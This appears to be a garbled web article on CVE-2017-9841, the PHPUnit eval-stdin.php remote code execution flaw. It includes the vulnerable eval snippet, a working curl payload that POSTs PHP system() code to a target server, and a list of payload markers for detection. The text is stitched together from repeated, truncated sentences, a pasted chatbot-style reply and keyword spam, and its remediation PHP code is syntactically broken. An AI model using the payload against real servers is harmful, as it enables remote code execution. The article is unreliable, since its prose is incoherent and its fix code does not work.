Util Php Eval-stdin.php Cve: Vendor Phpunit Phpunit Src

To understand why this vulnerability exists, we must look at the code within eval-stdin.php.

The Vulnerable Code: In affected versions, the file contains logic designed to read from standard input (STDIN) and evaluate the PHP code received. The simplified logic looked roughly like this:

<?php
// eval-stdin.php
eval('?>' . file_get_contents('php://input'));
?>

The Mechanism:

Between 2017 and 2019, this vulnerability was a goldmine for attackers. Major incidents included: vendor phpunit phpunit src util php eval-stdin.php cve

Security scanners like WPScan, Nuclei, and Nessus added dedicated checks for eval-stdin.php due to its prevalence.

Look for POST requests to:

/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php

with payloads containing <?php, system(, exec(, eval(, base64_decode(, etc. To understand why this vulnerability exists, we must

It looks like you’re referencing a specific command and a CVE related to PHPUnit, particularly the eval-stdin.php script.

The command you mentioned resembles:

vendor/phpunit/phpunit src/util/php/eval-stdin.php

This is related to CVE-2017-9841 — a critical remote code execution (RCE) vulnerability in PHPUnit. The Mechanism: Between 2017 and 2019, this vulnerability

If the file is accessible at:

https://target.com/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php

An attacker can send:

curl -d "<?php system('id'); ?>" https://target.com/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php

The server would execute id and return the output.

When it comes to scripts like eval-stdin.php, which might use eval() or similar functions:

// Never do this with untrusted input
$input = file_get_contents('php://stdin');
eval($input);
// Instead, do this
$input = trim(file_get_contents('php://stdin'));
if (preg_match('/^[a-zA-Z0-9_]+$/', $input)) 
    // For example, allow only whitelisted inputs
    switch ($input) 
        case 'allowed_input_1':
            // Execute allowed action
            break;
        default:
            // Handle or log
            break;
else 
    // Handle or log invalid input
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